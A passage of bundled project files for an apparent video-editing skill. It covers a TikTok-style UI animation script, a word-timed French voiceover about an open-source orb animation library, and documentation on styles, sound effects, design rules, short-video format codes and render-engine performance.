    el.style.transform = `translateX(${30 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.6) * (1 - hc);
  });
  { const q = SV(u - .045, 22, .65); $('disc').style.transform = `translateX(${44 * (1 - q)}px) rotate(${t * 110}deg)`; $('disc').style.opacity = clamp(q * 1.5) * (1 - hc); }
  infoIt.forEach((el, i) => {
    const q = SV(u - (.02 + i * .03), 20, .6);
    el.style.transform = `translateY(${20 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4) * (1 - hc);
  });
  $('prog').style.opacity = seg(t, T_IN + .04, T_IN + .2) * (1 - hc);
  $('progi').style.width = (86 + 4.5 * t) + '%';

  // comment icon press + the counts roll when the comment is posted
  $('comsvg').style.transform = `scale(${1 - .18 * pressAt(t, TAP_COM)})`;
  const roll = out(seg(t, T_POST + .02, T_POST + .16));
  $('cc0').style.transform = `translateY(${-16 * roll}px)`; $('cc0').style.opacity = 1 - roll;
  $('cc1').style.transform = `translateY(${16 * (1 - roll)}px)`; $('cc1').style.opacity = roll;
  $('sc0').style.transform = `translateY(${-18 * roll}px)`; $('sc0').style.opacity = 1 - roll;
  $('sc1').style.transform = `translateY(${18 * (1 - roll)}px)`; $('sc1').style.opacity = roll;

  // sheet slides up over the bottom of the video (the face stays in the clear), an 8 % dim on the video
  const ps = SV(t - T_SHEET, 18, .6) * (1 - io(seg(t, T_SHEET_OUT, T_SHEET_OUT + .26)));
  $('sheet').style.transform = `translateY(${(1 - ps) * 270}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .08 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .05), 20);
  $('stitle').style.opacity = hq; $('sclose').style.opacity = hq;

  // new comment: the list slides down and the viewer's row fills the top slot
  const pn = SV(t - T_POST, 22, .5);
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .06 + i * .03), 20);
    r.style.top = (LIST_TOP + (i + pn) * ROW_H + (1 - q) * 14) + 'px'; r.style.opacity = q;
  });
  newRow.style.display = t >= T_POST ? '' : 'none';
  newRow.style.top = LIST_TOP + 'px'; newRow.style.opacity = clamp((pn - .08) / .45);
  newRow.style.clipPath = `inset(0 0 ${(1 - pn) * ROW_H}px 0)`;
  newRow.style.transform = `scale(${.97 + .03 * pn})`; newRow.style.transformOrigin = '20% 0%';
  newRow.querySelector('.hl').style.opacity = clamp(pn * 2);

  // field: focused once the sheet is up, « ORBES » typed letter by letter; the red arrow comes in with the first letter
  // (the field shortens to make room), goes once the comment is posted
  const focused = t >= T_SHEET + .14 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px)`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  const typing = t >= TYPE[0] && t < TYPE[4] + .1;
  $('caret').style.opacity = focused && (typing || Math.floor((t - T_SHEET) * 3) % 2 === 0) ? 1 : 0;
  const son = (cleared ? 0 : S(t - TYPE[0], 30)) + (cleared ? 1 - S(t - (TAP_PUB + .03), 30) : 0), pp = pressAt(t, TAP_PUB);
  $('field').style.width = (372 - 42 * son) + 'px';
  $('ficons').style.opacity = 1 - son;
  $('send').style.opacity = clamp(son * 1.3);
  $('send').style.transform = `scale(${(.6 + .4 * son) * (1 - .1 * pp)})`;
  $('send').style.filter = `brightness(${1 - .15 * pp})`;

  // follow: the red + under the avatar is tapped on « suis » and turns into a white disc with a red check
  const fp = pressAt(t, TAP_FOL), fq = S(t - (TAP_FOL + .04), 20);
  $('plus').style.transform = `scale(${1 - .14 * fp})`;
  $('pchk').style.opacity = fq; $('pplus').style.opacity = 1 - fq;
  $('pcheck').style.opacity = fq; $('pcheck').style.transform = `scale(${.6 + .4 * fq})`;
  // the heart is tapped on the end card and fills TikTok red
  const hp = pressAt(t, TAP_HEART), hf = S(t - (TAP_HEART + .02), 22);
  $('hwrap').style.transform = `scale(${1 - .16 * hp})`;
  $('hred').style.opacity = hf; $('hred').style.transform = `scale(${.75 + .25 * hf})`;

  // notifications: the DM drops on « lien »; the like drops on « TikTok » and the DM slides behind it (the iOS stack)
  const b1 = SV(t - T_BAN1, 16, .6), b2 = SV(t - T_BAN2, 16, .6), bk = b2, bc = clamp((b2 - .55) * 3);
  show($('ban1'), b1);
  $('ban1').style.transform = `translateY(${-130 * (1 - b1) + 10 * bk}px) scale(${.97 + .03 * b1 - .06 * bk})`;
  $('ban1').style.opacity = clamp(b1 * 3);
  $('ban1').style.filter = `brightness(${1 - .35 * bk})`;
  $('ban1').querySelectorAll('.tx, .thumb, .app').forEach(el => { el.style.opacity = 1 - bc; });
  show($('ban2'), b2);
  $('ban2').style.transform = `translateY(${-120 * (1 - b2)}px) scale(${.97 + .03 * b2})`; $('ban2').style.opacity = clamp(b2 * 3);

  // finger dot + ripples
  const [cx, cy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  let vis = 0; for (const [a, b, c, d] of VIS) vis = Math.max(vis, seg(t, a, b) - seg(t, c, d));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${cx}px,${cy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const RD = a => a === TAP_COM ? .26 : .42; // the comment-icon ripple is short: the sheet comes up over the icon
  const rips = TAPS.filter(a => t >= a && t < a + RD(a)).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / RD(a)), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });
  return true;
};
window.setT(0);
</script></body></html>

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 25.80s (source 43.881s, 34 keeps)

| src | short | word |
|---|---|---|
| 3.52 | 0.02 | Ces |
| 3.76 | 0.23 | orbes |
| 4.06 | 0.49 | sont |
| 4.34 | 0.70 | partout |
| 4.76 | 1.07 | sur |
| 4.92 | 1.21 | Internet |
| 5.40 | 1.62 | et |
| 5.54 | 1.75 | quelqu'un |
| 5.88 | 2.04 | vient |
| 6.06 | 2.20 | de |
| 6.12 | 2.25 | les |
| 6.30 | 2.41 | passer |
| 6.62 | 2.68 | en |
| 6.76 | 2.81 | open |
| 7.04 | 3.05 | source. |
| 7.68 | 3.32 | Ça |
| 7.80 | 3.42 | s'appelle |
| 8.30 | 3.74 | Thinking |
| 8.88 | 4.16 | Orb |
| 9.24 | 4.38 | et |
| 9.38 | 4.50 | c'est |
| 9.60 | 4.70 | toute |
| 9.82 | 4.89 | une |
| 9.94 | 4.99 | librairie |
| 10.48 | 5.40 | d'orbes, |
| 11.24 | 5.72 | une |
| 11.50 | 5.94 | pour |
| 11.72 | 6.13 | chaque |
| 11.96 | 6.34 | état |
| 12.18 | 6.53 | de |
| 12.26 | 6.57 | ton |
| 12.46 | 6.75 | app |
| 12.90 | 6.93 | prêt |
| 13.10 | 7.10 | à |
| 13.24 | 7.22 | poser |
| 13.56 | 7.50 | dans |
| 13.74 | 7.66 | ton |
| 13.94 | 7.83 | site |
| 14.18 | 8.04 | ou |
| 14.28 | 8.13 | ton |
| 14.46 | 8.28 | produit. |
| 15.20 | 8.64 | Dès |
| 15.32 | 8.74 | que |
| 15.40 | 8.81 | ton |
| 15.58 | 8.97 | interface |
| 16.14 | 9.46 | fait |
| 16.30 | 9.59 | attendre |
| 16.68 | 9.93 | l'utilisateur, |
| 17.74 | 10.61 | tu |
| 17.88 | 10.74 | remplaces |
| 18.34 | 11.11 | ton |
| 18.56 | 11.30 | spinner |
| 19.32 | 11.84 | ennuyeux |
| 20.10 | 12.32 | par |
| 20.28 | 12.47 | une |
| 20.52 | 12.68 | orbe |
| 20.92 | 12.95 | et |
| 21.00 | 13.01 | elle |
| 21.24 | 13.16 | se |
| 21.48 | 13.35 | fond |
| 21.66 | 13.50 | dans |
| 21.84 | 13.66 | n'importe |
| 22.24 | 13.98 | quel |
| 22.44 | 14.15 | design |
| 23.02 | 14.65 | sans |
| 23.22 | 14.83 | faire |
| 23.42 | 14.97 | tache. |
| 26.90 | 15.28 | Et |
| 27.04 | 15.40 | rien |
| 27.30 | 15.62 | là-dedans |
| 27.72 | 15.99 | ne |
| 27.84 | 16.09 | ralentit |
| 28.26 | 16.46 | ta |
| 28.42 | 16.57 | page. |
| 28.98 | 16.85 | Elle |
| 29.12 | 16.97 | respecte |
| 29.56 | 17.36 | le |
| 29.70 | 17.48 | mode |
| 30.56 | 17.76 | mouvement |
| 31.16 | 18.25 | réduit |
| 31.48 | 18.53 | de |
| 31.62 | 18.66 | base |
| 32.36 | 18.95 | et |
| 32.66 | 19.09 | tout |
| 32.86 | 19.27 | est |
| 33.02 | 19.41 | sous |
| 33.16 | 19.53 | licence |
| 33.70 | 19.94 | MIT. |
| 34.88 | 20.30 | Donc, |
| 35.08 | 20.48 | tu |
| 35.22 | 20.60 | peux |
| 35.32 | 20.68 | les |
| 35.44 | 20.79 | mettre |
| 36.40 | 21.10 | dans |
| 36.56 | 21.24 | un |
| 36.70 | 21.36 | produit |
| 37.04 | 21.66 | payant |
| 37.54 | 22.06 | sans |
| 38.42 | 22.28 | rien |
| 38.58 | 22.42 | demander |
| 38.88 | 22.68 | à |
| 38.98 | 22.77 | personne. |
| 39.86 | 23.18 | Commande |
| 40.34 | 23.51 | Orb |
| 40.64 | 23.77 | et |
| 40.72 | 23.84 | je |
| 40.80 | 23.91 | t'envoie |
| 41.04 | 24.12 | le |
| 41.14 | 24.21 | repo |
| 41.54 | 24.56 | du |
| 41.62 | 24.63 | moment |
| 41.82 | 24.80 | que |
| 41.88 | 24.85 | tu |
| 41.98 | 24.94 | me |
| 42.10 | 25.04 | suis |

# Styles: the look of every edit

Every edit has the same layout: the **split-screen paper look** ([style.md](style.md)). A textured paper on top with one board at a time, the camera as a card under one seam, hard cuts between split, paper only and full camera. A style only changes how it looks and sounds: colors, fonts, captions, paper, grade, pace, music and sound, the creator's handle and CTA, their logos.

A style is one folder in the creator's project:

```text
video-agent/
├── style.json            {"default": "default"}: the style every edit uses when none is named
└── styles/
    ├── default/
    │   ├── style.json    the keys (all in style-schema.md)
    │   └── assets/
    │       ├── logos/    real logos of the tools the creator talks about (notion.png, claude.png...)
    │       └── fonts/    an own font file, optional
    └── <name>/           other styles (made by /steal or copied from default/)
```

`short.mjs init` snapshots the style into the project (`source/style.json`) and copies its `assets/` there, so a board logo is `assets/logos/notion.png`. `--style <name>` picks another one. No style at all: the engine defaults, already finished.

## The five tested looks

[`assets/looks.json`](../assets/looks.json) holds five starting points, each a `style` patch to copy into `style.json` and adjust:

| look | says | for |
|---|---|---|
| `default` | minimal: textured paper, the system font (San Francisco on a Mac, Segoe UI on Windows), the camera full width under one straight seam, captions in mono capitals (JetBrains Mono), white on a black rounded band sitting on the seam | anyone, nothing to choose |
| `classique` | textured paper, sticker captions, blue accent | a more playful paper look |
| `papier` | deep shadows, the camera as a framed photo, `rise` captions (the said word on an accent block), Bricolage Grotesque | tech, explainers, premium |
| `pop` | off-white, black and a loud yellow, big `hard` captions with a hard shadow | podcast, opinion, energy |
| `poster` | flat orange background, hard cuts, the key word huge in condensed capitals on the camera | fast, viral, very readable |

## A style.json

```json
{
  "version": 1,
  "name": "Default",
  "creator": { "name": "Léa", "handle": "@lea.ia", "lang": "fr", "niche": "IA pour les indépendants" },
  "colors": { "accent": "#258EFF" },
  "captions": { "style": "rise", "size": 82 },
  "display": { "font": "Bricolage Grotesque", "weight": 800, "text": "Bricolage Grotesque", "flat": true },
  "font": { "family": "Bricolage Grotesque" },
  "pace": { "speed": 1.15 },
  "sfx": { "accents": 0 },
  "notes": ["Comment word: GUIDE", "Never zoom on my face"]
}
```

Only the keys that differ from the engine defaults. `notes` are rules: follow them on every edit (the comment word of the CTA lives there).

## Checking a change

Edit the file by hand, then look at it on a real short: `node <skill>/engine/short.mjs stills <project> 1,4,8` on any edit (after `init` with that style), and read the JPGs. The accent must stay readable on the paper, white caption text readable on its block, logos crisp, nothing cut at the edges.

## Logos

Every tool named on screen shows its real logo: the press kit, the App Store icon, the official repo or site. Save it as a PNG (512 px, transparent if possible) in `styles/<name>/assets/logos/<tool>.png`. A logo you can't find for sure: ask the creator for the file, never draw a look-alike.

# Sound effects

Every sound an edit needs ships with the skill: no account, no API key, no download. Two sources, in this order:

1. **The engine's own sounds**, synthesized in code during the mix. Call them by name: `sfx.extra: [[t, 'thud', gain?]]` (SOURCE time).
2. **The bundled files** in `assets/sfx/` (this skill): the 5 base sounds. Copy the ones a short uses into the project's `assets/sfx/` (or the style's `assets/sfx/`, `init` copies those), then reference them in `sfx.files` or `sfx.kit`.

Generating a new sound with an AI service (ElevenLabs sound effects, ...) is a last resort: only when the creator asks for a sound none of these covers, after telling them it uses their credits.

## The house rule

Hits only on real payoffs. No movement noise on every entrance (whooshes, slides, clicks, tap runs): viewers hate them and so do creators after one listen. A typical short has 2 to 4 sounds besides the music.

## 1. Engine sounds (`sfx.extra`)

| name | sound | when |
|---|---|---|
| `thud` | paper set down on a desk, soft and low | a number lands or dies, a strike, the payoff |
| `pop` | soft woody blip | a real arrival: the logo or the result that matters |
| `bell` | FM bell | a success, a check |
| `tap` | trackpad click | a click shown on screen |
| `tom` | low tom | a heavy beat, a step |
| `slide`, `swish` | paper slide, layout move | movement noise: off by default (`sfx.swish: 0`) |

The scenes add their own cues (a `term` types with key clicks, a `counter` ticks); `sfx.accents` (default 0) adds glassy blips on key moments.

## 2. Bundled files (`assets/sfx/`)

Levelled on their own in the mix: `gain` = dB under the voice (default -10). `peak: true` puts the loudest instant on `at` (impacts). `endAt` makes a riser land on the payoff.

| file | length | use it for | spec |
|---|---|---|---|
| `impact-boom.mp3` | 1.8 s | THE payoff, a big number, a hook verdict | `{at, src, peak: true, gain: -8}` |
| `zhhh.mp3` | 1.1 s | the hook → content cut, with a `glitch` on the same `t` (once or twice a short) | `{at, src, peak: true, gain: -6}` |
| `riser.mp3` | 2.6 s | build-up to a reveal | `{endAt: <reveal>, src, gain: -12}` |
| `glass-shatter.mp3` | 1.6 s | a screen or a logo that breaks (`shatter` item) | `{at: <breakAt>, src, peak: true}` |
| `pop-back.mp3` | 1.0 s | an Instagram UI coming back, a vanish ending | |

The full library (about 20 sounds: coin, unlock, mail ding, stamp, slam, crumple, dust, snip, gears, a hard-cut kit for fast styles...) comes with Editing IA Pro.

## Example

```js
sfx: {
  swish: 0, accents: 0,
  extra: [[7.7, 'thud', -6]],
  files: [
    { at: 2.0, src: 'assets/sfx/zhhh.mp3', peak: true, gain: -6 },
    { at: 13.8, src: 'assets/sfx/impact-boom.mp3', peak: true, gain: -8 },
  ],
},
glitch: { keys: [[2.0, .4, 1]] },
```

Copy the two files first: `cp <skill>/assets/sfx/{zhhh,impact-boom}.mp3 <project>/assets/sfx/`.

# Design system: paper, one blue, Apple-calm motion

## Palette (engine/lib/kit.js `C`)

| token | hex | use |
|---|---|---|
| paper | #F1EEE6 | stage background (grain + slow light drift) |
| sheet | #FCFBF8 | cards, chips, caption outline |
| ink | #14161B | text |
| ink2 / ink3 | #5C5F68 / #A19F98 | secondary text, muted labels |
| line / dim | #E3DED3 / #D8D3C7 | hairlines, ghost bars |
| blue | #258EFF | THE accent (codelynx.dev/aibuilder primary) |
| blue2 / tint | #1D6FD6 / #E6F0FD | pressed state, soft blue fills |

Use one blue per moment. There are no gradients, no neon, and no second accent color.

## Type

- Inter (variable). Headlines 800 with negative tracking (about -3.5% of size). UI 600/700. Captions 84/800. Card labels 42/700. Nothing under 34 px (mobile).
- JetBrains Mono only for code or prompts.
- Interfaces use the Apple system font (the creator 2026-10-18, review v2 of short-skills-montage-testes: « pour toutes les interfaces ... la font par défaut d'Apple rendrait mieux »). Every UI drawn in a captured component (a window, its title bar, an app, a sales page, a dashboard, a stats screen, a chat, a phone screen) sets `font-family: "SF Pro", -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue", sans-serif`, and its monospace text (a transcript, a terminal, code) `"SF Mono", ui-monospace, Menlo, Consolas, monospace`. Name `"SF Pro"` / `"SF Mono"` FIRST: `capture` injects them from `engine/short.html` (`@font-face` on `/System/Library/Fonts/SFNS.ttf` and `SFNSMono.ttf`); headless Chrome ignores `-apple-system` and falls back to another face (review v3: the UI still came out in Bricolage and Menlo). Check a zoomed frame of the .mov, not the tiny sheet. Chrome text keeps the real browser weights: the address in a URL bar is regular (400), never semibold (review v4: « toujours dans l'url »). Since review v5 (« faut utiliser la font système dans toutes les UI et motion design »), the motion design texts of a component use it too: the big hook title over the boards, labels, encarts, tags, counters, the demo of a caption style inside a UI. Only the captions keep the font of their caption style. Audit a page before rendering with CDP `CSS.getPlatformFontsForNode` at several t: every text must report `.SF NS` (or `.SF NS Mono`); a text inserted by `setT` later in the clip is missed by a t=0 check. Optical size (review v6, « ce n'est pas la bonne fonte », after four rounds): SFNS.ttf is variable on `opsz` 17 to 96 and Chrome sets it to the px size, so UI text drawn at 34 to 42 px came out in the tight **Display** cut, which never looks like a real interface. Every UI text uses the **Text** cut with its natural spacing: `body, body * { font-variation-settings: "opsz" 17 !important; letter-spacing: 0 !important; }` at the top of the page's style; only big motion titles (60 px and up: the hook title, a hero word, a price tag) opt back into `font-variation-settings: normal` with their own negative tracking. Compare a zoomed frame with a native AppKit `NSFont.systemFont` render at 13 pt (Text cut), never at a big size.

## Motion

- Calm is the easing, never the content: springs that never overshoot, and on every beat an action (the creator 2026-10-21: no screenshot, no still illustration, no lone logo; a software idea is played in a recreated UI, the hook is a 2 or 3 act mini story). SKILL step 3 and the style's notes hold the bar.
- `S(x, w)` is a critically damped spring: it never overshoots and settles in about 4.7/w s. `w = 9..16` suits UI, and `w = 24..30` suits captions and typing.
- `track(t, keys, w)` retargets smoothly between keyframes.
- Enter: rise 20 to 90 px plus a fade. Exit: fade plus a 30 to 50 px lift. Scale changes stay within 0.965 to 1.

### Premium choreography (built into the engine, every spec gets it)

- **Exits are shorter than entrances and end clean.** Every scene, board item, cutout, ring and arrow leaves with `leave(x)` (kit.js): a .26 s smoothstep to exactly 0, translating on an accelerating curve. Never a spring exit: `S(x, 16)` leaves a 5 to 17% ghost for .2 to .4 s that muddies the next beat.
- **Beats are sequential, never an in-place crossfade.** A scene that starts within .35 s of the previous scene's exit on the same layer enters at `prev.to + .16` (`linkScenes` gate; `gate: false` opts out). Two board items in the same slot (within .6 s, |dx| < 300, |dy| < 90) hand off: the new one waits until the old is gone (`to + .24`; `slot: false` opts out). Two numbers never stack.
- **No parked zeros.** A counter enters with its count (`countFrom - .12`), never sits on "0 $" while the voice has not said the number (`hold: true` keeps the authored entrance).
- **Shared-element morphs between beats.** When the next beat shows the same object bigger (the tweet's chart becoming the zoomable chart window), the board item takes `morph: true` and grows out of the previous scene's `hand()` rect (`morphDur` .62, smootherstep) while the old chrome fades. Tweets expose their media block; add `hand(s, R)` to any scene that should hand something on.
- **Hero, then place.** A logo or object introduced by the voice enters big and centered (`posKeys` + `scaleKeys` 1.3 to 1.7), then glides to its slot (`posW` 12 to 14 drives both) before the number or the next object needs the room. The glide must land before the next item enters.
- **An idea the speaker develops is ONE tableau that stays and grows** (the creator 2026-10-16 on vendre-saas: « ça switch trop vite ; il développe une idée donc on peut afficher une animation qui reste et qui développe l'idée », then « les longues animations rendent beaucoup mieux »). Across the sentences of one idea (a marketplace, an example, a story), a single board carries it: a central object, then each sentence adds or moves one element (hero then place, travels between two places, a scale bump on its word, lines that tie them, a morph of the centre into the next state); nothing leaves unless the sentence drops it. Quick swaps (a new board every 1.5 to 2.5 s) only where the speech changes idea. Text is fine when clean (a counter with its unit, one straight label).
- **Holds breathe.** A board held 3 s or more gets a slow .025 push-in (default; `push: 0` freezes it, a number sets it).
- **Captions never sweep across the stage.** On a split to split move (960 to 1240) the caption fades out, waits while the card moves, and fades back in 14 px below its new line; split to full screen lerps between the two rest lines. The rise block blurs in and fades out in place, never grows, shrinks or slides; the rise line blurs in too (no slide).
- **One look per role.** The same kind of beat moves the same way all along the short (each hero number enters at the same slot with the same rise), so the eye learns the grammar.
- Forbidden: pulse, bounce, elastic, overshoot, glow, shake, "kiss" pops, spinning, confetti, emoji characters typed in text (icons are Noto images, below).
- Motion design over emojis (the creator 2026-10-16, review v1 of short-claude-tue-copywriting: « pourquoi autant d'émoji ... on utilise généralement motion design > emojis de con »): never illustrate a beat with emojis (hero, card bullet, check, decoration). Each beat is real motion design: a captured HTML component (the real app UI, pictograms drawn in SVG/CSS and lifted with a shadow, a check that draws as a stroke), real logos, typography or a paper illustration. In any card, graphic and text share one vertical center. References: shorts/short-claude-efface-internet, shorts/short-teste-ton-business-dans-claude. The Noto set below is a last resort, only when the creator asks for it.
- Icons (last resort, see above): the house set only, Google Noto Emoji in color (the creator 2026-10-15: "garde Noto comme librairie par défaut partout", after a side-by-side test with Fluent 3D and Phosphor on the Editing IA Pro VSL; it replaces the Phosphor rule of 2026-10-11). The bare emoji on transparent: `assets/icons/<name>.png` (the same image sits in `glyph/<name>.png` for older specs), copied into `<project>/assets/icons/`, an `img` item drawn with `shadow: false`, checks included: never the engine-drawn `check` item nor the line icons `k: 'icon'`, never a tile or a square around it (the creator called the tile around a check "un carré dégueulasse", 2026-10-11). Built by `assets/icons/build-icons.mjs` (Noto SVGs from the Iconify API, one request, kept in `svg/`): a missing icon is one line there (house name, Noto name from icon-sets.iconify.design/noto), never drawn by hand. Never Phosphor, Fluent 3D or Apple emoji. Money in euros = the 💶 banknote (`money`), never a `$`. Real logos keep `paper.logos: "flat"` (no soft halo, a hairline edge). No stamp badges as decoration: plain text with one blue emphasized word. A stamp only as an action that lands on its spoken word with a thud (REPLACED landing on an app in a hook, « Gratuit » on a price falling to 0). A style with its own illustration library (podcast: `styles/podcast/illustrations/library`) uses ONLY that library for objects and reactions, reused from short to short, never Noto (the creator 2026-10-16: « non faut utiliser des illustrations custom partout et les réutiliser si besoin »).
- Clicks are a 5% press (`press()`), never a bounce.

## Paper

- Background: fibre grain plus a very slow light drift. It is subtle and should read as texture, not noise.
- Sheets: layered soft shadow (pre-blurred 9-slice, no per-frame blur), a grain fill and a hairline edge. `elev` 0 to 2.
- Depth and paper come from the profile: `paper.depth` scales every shadow (above 1: ambient shadow, contact line, sheets lit from above, inset bar tracks, raised logos and fills, a key light on the paper) and `paper.tooth` embosses the paper. At their defaults (1 and 0) the look is the original one.
- Seam: a deckle-edge tear between paper and camera, with a soft shadow on the camera side.

## Layout (1080x1920)

- Paper stage on top, camera below, split at `seam`. Content scenes are authored for their seam, so keep them above it.
- Camera: crop around the face. `eyes` keeps the eyes in the upper third of the camera area.
- Captions follow the style's `captions` look, never a look picked by hand (e.g. `band`, one black #111 chip in Geist Mono 800 capitals, 58 px, 3 words max, emphasis in light blue #5EA8FF, straddling the seam; `rise`, the spoken word on a blue block that blurs in, only when a style or the creator asks for it; `captions.blur: false` makes rise crisp). In split they sit on the paper just above the camera card, full screen on the video. 3 words and 16 characters max, emphasis words in blue.
- Cards never change size. A card keeps one width (800) for its whole life; keys only move it. Its label sits ABOVE the card (dot + text), never straddling the edge. No stacked sheets behind cards.

# Shorts codes (Reels, TikTok, YouTube Shorts)

## Format

- 1080x1920, 9:16, 30 fps, H.264, AAC 48k. Loudness -14 LUFS integrated, true peak at or below -1 dBTP.
- Length: 30 to 60 s. Under 45 s is best for Reels and TikTok completion rate.

## Safe zones (keep text and key visuals inside)

- Top 220 px: platform header, search and tabs.
- Bottom 420 px: caption, username, music ticker. The CTA sits at y at most 1420, and captions at y at most 1400.
- Right 140 px, from y 900 to 1700: like, comment and share buttons. Keep text centred or left.
- The safe content box is about x 60 to 940, y 220 to 1500.

## Hook (first 1 to 2 s)

- Frame 1 must already show the promise: a card, a number or a bold line. No blank intro, no logo sting, no "salut".
- Start on speech. `tighten.lead` is .03 s.
- A visual change lands within 1 s.

## Pacing

- Something moves every 2 to 4 s: a layout seam move, a new card, a counter, typing or a punch-in zoom.
- Alternate proof (paper takes over) with face (full-bleed camera) so the viewer never sits on one layout.
- SUPER FAST by default. Every micro silence is cut: the cutter finds the real quiet run in the audio at each word boundary and keeps only a tiny breath (`tighten.sentence` .08, `comma` .05, `word` .03). `speed: 1.1` (the creator style, from the profile `pace.speed`) plays the whole short faster (voice via atempo, no pitch shift). Expect a 64 s take to land around 44 s.

## Mobile legibility

- Everything is read on a phone. The minimum on-screen text is 34 px (UI details), labels are 38 to 42 px, and captions are 84 px.
- If a label would need to be smaller to fit, shorten the label instead.

## Captions

- Always on (80%+ watch muted). They are word-synced, 1 to 3 words per chunk, and emphasis words are blue.
- Hide captions when a scene shows the same words (title lines, typed prompt, CTA).
- Numbers are written as digits (`replace: [['cent pour cent', '100%']]`).

## Ending

- A CTA card (follow or subscribe) in the last 2 to 3 s, with a pointer click.
- The music resolves on a held chord so the loop back to frame 1 feels clean.

# Engine performance

Benchmarked 2026-10-02 on an M4 Max (10 P + 4 E cores, 36 GB) with a 91.9 s 1080x1920 short (2757 frames), matted on every frame (the old popout; prepare now mattes only the cutout spans, so the matte rows are worst cases). Every step is niced to 15 by `short.mjs`, so it yields to anything the creator is doing.

| Step | Before | Now | What changed |
|---|---|---|---|
| prepare: cam frames | 8.2 s | 6 s | software HEVC decode on all cores (`-threads 0`); VideoToolbox copy-back is slower here |
| prepare: matte, cold | 743 s | 66 to 86 s | mask-only output, CPU resize, 3 parallel workers |
| prepare: matte after a `cut` change | 743 s | 27 to 37 s | raw Vision masks cached by cam JPG content: only about 15% of frames are new |
| render | 324 s with `--eco` (37 fps without) | 18 s (150+ fps) | WebCodecs H.264 inside Chrome, 2 parallel workers |
| audio | 3 s | 3 s | |
| final | 12 s | 5 s | one QC pass (video decode + loudness on audio only) |
| **whole pipeline, cold** | **about 18 min** | **92 s** | |
| typical iteration (spec change, no new matte) | about 6 min | about 30 s | |

### 2026-10-21: render, audio and final, encoder-bound

Same M4 Max, 5 real shorts of 30 to 37 s (1080x1920, 30 fps), A/B runs interleaved, medians, `--fresh`. The machine sat at a load of 13 to 40 (photoanalysisd), so absolute times are pessimistic and only the A/B differences count.

| Measure | Engine of 2026-10-20 | Now | What changed |
|---|---|---|---|
| render, encode wall summed over the 5 shorts | 24.5 s | 16.0 s | 2 s work units with steals, cropped overlays and repeated-frame aliases, CDP Chrome, hidden canvas |
| Chrome boot per worker | 0.9 s | 0.6 s | `chrome.mjs`: Chrome on its DevTools pipe, no Playwright |
| audio | 0.6 to 0.7 s | 0.5 to 0.6 s | the bed decodes only the stretch it uses, no reverb pass when nothing is sent to it |
| final | 1.6 s | 1.3 s | no decode (done per unit in render), decode, poster and mux in parallel otherwise |
| **`all` (render + audio + final), 36 s short** | **6.4 s** | **4.5 s** | audio mixed beside the render in its own process |

On one 36 s short (1081 frames) the render alone takes 4.2 s, 255 fps (8.5x realtime). Each frame costs 2.9 ms of images, 0.6 ms of drawing and 2.1 ms of encode, and the two hardware encode engines are the limit. Quality against the previous engine on the same spec: 53.3 dB PSNR on average, 44.6 dB at the worst frame (encoder noise, invisible). Hiding the canvas changes no pixel (180/180 identical frame hashes). The overlay crop changes at most 1 level out of 255, on less than 0.82 % of the pixels.

## Render: WebCodecs in the page

- **Chunks and units.** The video is cut into 10 s cache chunks (300 frames, on absolute frame numbers). The chunks to encode are split into 2 s work units, and each unit opens on an IDR, so the keyframes are the same as with one encoder per chunk.
- **Workers.** Each worker is its own headless Chrome (`chrome.mjs`; Playwright is only the fallback). It takes a contiguous run of units, and a worker that runs out steals half of the longest run left. With whole 10 s chunks, one worker used to wait on the other's last chunk.
- **Page side.** `lib/encode.js` `installEncoder` gives `encodeStart(fps, rate)`, `encodeUnit(a, b, sink)` and `encodeEnd()`. They draw each frame on the hidden canvas (not composited, since nobody looks at it), wrap it in a `VideoFrame` and encode it with the hardware `VideoEncoder` (H.264 High, Annex B, `latencyMode: 'quality'`, at most 3 frames in the encode queue).
- **Sink and decode check.** Bytes are POSTed in 2 MB batches to the local server (`/sink/<unit>`). Each unit is decoded on the CPU as soon as it is in, while the hardware encoder works on the next ones. A chunk is written to `.cache/render/<W>x<H>@<fps>/<hash>.h264` (`.part`, then renamed) once all its units decoded. The render then stamps the output's size and mtime in `.cache/render/qc.json`, and `final` skips its own full decode when the stamp matches (`decode ok (checked in render)`).
- **Chunk cache.** The hash covers:
  - the engine code, the style, `timeline.json`, `frames.json`, the output settings, and every spec field that is not windowed;
  - the scenes, actors and B-roll that can draw in the chunk (from `from - pre - 2` to `to + 2`);
  - the layout and zoom keys from 6 s before the chunk, since the spring has settled by then;
  - the size and mtime of every image or video file those items name.

  A fix to one card re-encodes only its 1 to 3 chunks, and an unchanged render only concatenates (1 s). A `cut` change moves every frame after it, so most chunks re-encode. `--fresh` ignores the cache. A full-length render deletes the chunks it did not use, which keeps the cache about one video in size. Measured on a 65 s youtube test: 9 s cold, 6 s after one title change (3 of 7 chunks), 1 s unchanged. Cached plus re-encoded output against a fresh render: 56.8 dB PSNR. On a 9 min 10 s youtube edit (16,505 frames): 54 s cold at about 300 fps, 5 s unchanged (56/56 chunks cached). The stream there is 2.2 GB, so the join writes chunk by chunk (one Node buffer stops at 2 GB).
- The segments start on IDR frames with in-band SPS/PPS, so they concatenate byte for byte. The ffmpeg mux starts before the encode and gets each chunk on its stdin, in order, as soon as it is there (cached or just encoded), so no joined `.h264` is written and most of the parsing overlaps the encode. It stream-copies into `<out>.part` (renamed when done) with:
